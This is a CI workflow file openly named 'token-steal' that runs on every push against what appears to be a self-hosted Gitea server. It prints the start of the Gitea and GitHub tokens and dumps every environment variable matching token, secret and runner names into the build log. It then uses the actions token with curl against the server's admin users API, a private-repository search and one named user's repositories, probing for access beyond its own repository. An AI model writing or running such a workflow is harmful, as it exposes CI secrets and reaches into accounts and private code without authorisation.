name: token-steal
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - name: dump-token
        run: |
          echo "=== GITEA_TOKEN ===" 
          echo "${GITEA_TOKEN}" | head -c 5
          echo "..."
          echo "=== GITHUB_TOKEN ==="
          echo "${GITHUB_TOKEN}" | head -c 5
          echo "..."
          echo "=== ALL ACTIONS VARS ==="
          env | grep -i "GITEA\|GITHUB\|TOKEN\|SECRET\|ACTION\|RUNNER" | sort
          echo "=== Try admin API with actions token ==="
          curl -sk "https://gitea.quecko.org/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 300
          echo ""
          echo "=== Try joni repos with actions token ==="  
          curl -sk "https://gitea.quecko.org/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
          echo ""
          echo "=== Try joni user repos ==="
          curl -sk "https://gitea.quecko.org/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
        env:
          GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}